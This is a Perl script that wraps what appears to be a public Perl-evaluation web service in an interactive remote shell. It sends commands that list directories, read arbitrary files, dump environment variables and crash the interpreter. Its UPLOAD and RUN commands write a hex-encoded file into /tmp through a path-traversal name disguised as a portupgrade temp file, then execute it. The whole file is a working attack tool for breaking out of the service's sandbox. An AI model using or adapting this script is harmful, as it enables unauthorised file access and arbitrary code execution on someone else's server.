dan-the-shell.pl

use strict;
use warnings;
use URI::Escape 'uri_escape';
use LWP::UserAgent;
use JSON 'decode_json';
use Term::ReadLine;

my $ua = LWP::UserAgent->new(agent => "Dan the shell");
&main;exit;

sub main {
    my $term = Term::ReadLine->new("Dan the shell");
    while (defined($_ = $term->readline("dan> "))) {
        do_dan($_);
        $term->addhistory($_) if /\S/;
    }
}

sub do_dan {
    my $src = shift;
    $_ =~ s/\n//;
    $_ =~ s/^\s+//;
    $_ =~ s/\s+$//;

    if ($src =~ /^ls\s+(.+)$/) {
        $src = sprintf q{
            use Fcntl qw( :mode );
            use File::Spec;
            my $path = '%s';
            if (-d $path) {
                opendir my $d, $path or die $!;
                print join "\n",
                    map { sprintf("%%04o %%s", S_IMODE((stat $_)[2]), $_) }
                    map { File::Spec->catfile($path, $_) }
                    readdir($d);
            } elsif (-f $path) {
                printf("%%04o %%s\n", S_IMODE((stat $path)[2]), $path);
            }
        }, $1, $1;    } elsif ($src =~ /^cat\s+(.+)$/) {
        $src = sprintf q{open my $f, '%s' or die $!;print do { local $/; <$f>;}}, $1;
    } elsif ($src eq 'ENV') {
        $src = 'while (my($k, $v) = each %ENV) { print "$k => $v\n" }';
    } elsif ($src eq 'INC') {
        $src = 'print join "\n", @INC;';
    } elsif ($src eq 'SEGV') {
        $src = 'unpack "p", 0xdeadbeef';
    } elsif ($src eq 'UPLOAD') {
        open my $uf, '<', 'upload.txt';
        my $data = unpack 'H*', do { local $/; <$uf> };
        $src = sprintf q{
            open my $f, '>', '../../../../tmp/portupgrade.78567.98';
            print $f pack("H*", "%s");
            close $f;
        }, $data;
    } elsif ($src eq 'RUN') {
        $src = 'exec "../../../../usr/local/bin/perl", "../../../../tmp/portupgrade.78567.98"';
    }

    my $url = "http://api.dan.co.jp/perleval.cgi?c=callback&s=" . uri_escape($src);
    my $res = $ua->get($url);
    if ($res->is_success) {
        my $json = $res->content;
        $json =~ s/callback\((.+)\);\n/$1/;
        my $dat = eval{ decode_json $json };
        if ($dat->{error}) {
            print $dat->{error}, "\n";
        } elsif (defined $dat->{result}) {
            print $dat->{result}, "\n";
        } else {
            print "invalid json: $json\n";
        }
    } else {
        print $res->status_line, "\n";
    }
}